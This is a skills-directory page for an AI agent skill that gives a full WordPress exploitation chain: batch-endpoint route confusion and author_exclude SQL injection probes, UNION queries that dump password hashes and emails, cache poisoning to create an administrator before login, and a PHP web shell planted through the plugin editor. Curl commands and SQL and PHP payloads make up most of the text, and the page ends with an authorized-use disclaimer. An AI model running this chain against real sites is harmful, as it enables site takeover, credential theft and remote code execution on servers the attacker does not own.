Back to skills
SKILL.md
Wp2shell Wordpress Exploitation
ASecurityWP2SHELL — WordPress pre-auth admin creation + editor RCE via route confusion (CVE-2026-63030) and author_exclude SQLi (CVE-2026-60137). Use when assessing WordPress targets for REST route confusion, batch endpoint desync, or WP_Query author_exclude injection. Full chain: detect → SQLi → extract → oEmbed poison → admin create → login → editor RCE.
- 2 stars
- 0 votes
- 0 copies
- 0 views
- Added November 11, 2026
Works with
Security analysis
100/100Pro scans all 4 files and shows the line behind each finding
npx -y skills add harezadmm/omp-enhanced --skill wp2shell-wordpress-exploitation --agent claude-codeAre you the author of Wp2shell Wordpress Exploitation?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/harezadmm-wp2shell-wordpress-exploitation)---
name: wp2shell-wordpress-exploitation
description: WP2SHELL — WordPress pre-auth admin creation + editor RCE via route confusion (CVE-2026-63030) and author_exclude SQLi (CVE-2026-60137). Use when assessing WordPress targets for REST route confusion, batch endpoint desync, or WP_Query author_exclude injection. Full chain: detect → SQLi → extract → oEmbed poison → admin create → login → editor RCE.
---
# WP2SHELL — WordPress Exploitation Chain
> Level: VERIFIED — oEmbed cache poisoning + Customizer changeset injection →
> pre-auth admin creation → plugin/theme editor RCE.
> No hash cracking required.
## Detection (confirm the target is exploitable)
Run these 3 probes IN ORDER. All 3 must pass before continuing the chain.
### Probe 1 — Batch endpoint alive (route confusion surface)
```bash
curl -s -o /dev/null -w "%{http_code}" -X POST "https://TARGET/wp-json/batch/v1" \
-H "Content-Type: application/json" -d '{"requests": []}'
```
- **HTTP 207** → batch endpoint alive. Continue.
- **404/403** → batch disabled/blocked. Chain not usable. STOP.
### Probe 2 — Route confusion fires (CVE-2026-63030)
```bash
curl -s -X POST "https://TARGET/wp-json/batch/v1" \
-H "Content-Type: application/json" \
-d '{"requests":[{"method":"POST","path":"///"}]}'
```
Route handler desyncs on the PRIMER `///` path. Nested sub-requests bypass REST route
enforcement. Confirm by anomalous multi-status body.
### Probe 3 — SQLi boolean pair (CVE-2026-60137)
`author_exclude` maps to WP_Query `author__not_in`. Inject closing paren + condition:
```bash
# TRUE condition → returns rows
curl -s "https://TARGET/wp-json/wp/v2/users?author_exclude=0)+AND+(1=1)--+-" | head -c 400
# FALSE condition → returns empty
curl -s "https://TARGET/wp-json/wp/v2/users?author_exclude=0)+AND+(1=2)--+-" | head -c 400
```
- Responses DIFFER (rows vs empty) → SQLi confirmed. Continue.
- Responses IDENTICAL → injection filtered. STOP.
## Exploitation chain
### Step 3 — UNION data extraction
Column count: auto-discover 5–40 (`wp_posts` = 23, `wp_users` = 10). Null-pad UNION
until type mismatch clears.
**Packed banner (11 fields in 1 request):**
```sql
0) UNION SELECT CONCAT_WS(0x7c7c,@@version,@@hostname,@@datadir,@@version_compile_os,
@@basedir,@@port,@@have_ssl,@@sql_mode,user(),current_user(),database())-- -
```
**Batched user dump (4 users/query, avoids group_concat_max_len=1024):**
```sql
0) UNION SELECT GROUP_CONCAT(CONCAT(user_login,'~',user_pass,'~',user_email)
SEPARATOR 0x0a) FROM wp_users LIMIT {offset},4-- -
```
Extracts phpass hashes (`$wp$2y$10$` format), emails. Increment `{offset}` by 4.
**Packed wp_options (18 options in 1 query):**
```sql
0) UNION SELECT CONCAT_WS(0x7c7c,
MAX(CASE WHEN option_name='siteurl' THEN option_value END),
MAX(CASE WHEN option_name='home' THEN option_value END), ...) FROM wp_options-- -
```
**Time-based fallback (hardened targets):**
```sql
0) AND (SELECT 1 FROM (SELECT SLEEP(3))z)-- -
```
### Step 4 — oEmbed cache poisoning
WordPress auto-creates `oembed_cache` posts. Cache name = `MD5(embed_url + oembed_size)`
— recoverable via SQLi. Inject fake oEmbed rows into `wp_posts` via UNION.
### Step 5 — Poison graph
Build interconnected `wp_posts` rows: changeset (`customize_changeset`), `nav_menu_item`,
request, inner/outer posts — all referencing source admin `user_id`.
Changeset payload:
```json
{"nav_menu_item[NAV_ID]":{"type":"nav_menu_item","user_id":ADMIN_ID,"value":{...}}}
```
### Step 6 — Pre-auth admin creation
Poison graph triggers Customizer nav_menu render → WordPress issues internal REST call
AS the source admin → `POST /wp/v2/users` with `{"roles":["administrator"]}`.
⚠️ Customizer strips `password` → WordPress auto-generates a random one. Workarounds:
1. REST API application passwords via a second poison graph call, OR
2. Password reset flow: trigger reset → read `user_activation_key` from DB via SQLi →
forge reset URL.
### Step 7 — Login
`POST /wp-login.php` with created admin credentials.
⚠️ HTTP→HTTPS redirect breaks login POST — use the HTTPS domain directly, or
`allow_redirects=False` + manual cookie capture.
### Step 8 — Editor RCE
Scan `wp-admin/plugins.php` for editable files (`plugin-editor.php?file=...`). Inject
`<?php system($_GET["cmd"]);?>` into the first editable `.php`.
Fallback: `theme-editor.php` → `functions.php` of the active theme.
Verify: `GET <shell_url>?cmd=id` → look for `uid=` in response.
## Executable PoC
See `poc.py` in this skill folder — implements Probes 1–3 + UNION banner/user extraction
with evidence output. Usage:
```bash
python3 poc.py https://TARGET [--dump-users]
```
## Evidence standard
Every step must produce: HTTP status + body snippet. Admin creation is PROVEN only when
the new user exists in `wp_users` (verify via SQLi) AND login sets a
`wordpress_logged_in_*` cookie. RCE is PROVEN only when `?cmd=id` returns `uid=`.
See `WRITEUP.md` for the field-evidence format.
## Scope
Use only on targets within an authorized assessment scope (operator-owned, bounty
scope, or engagement letter).
Files in this skill
- SKILL.md
- WRITEUP.md
- exploit.py
- poc.py
Attribution
Related skills
View all in development →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.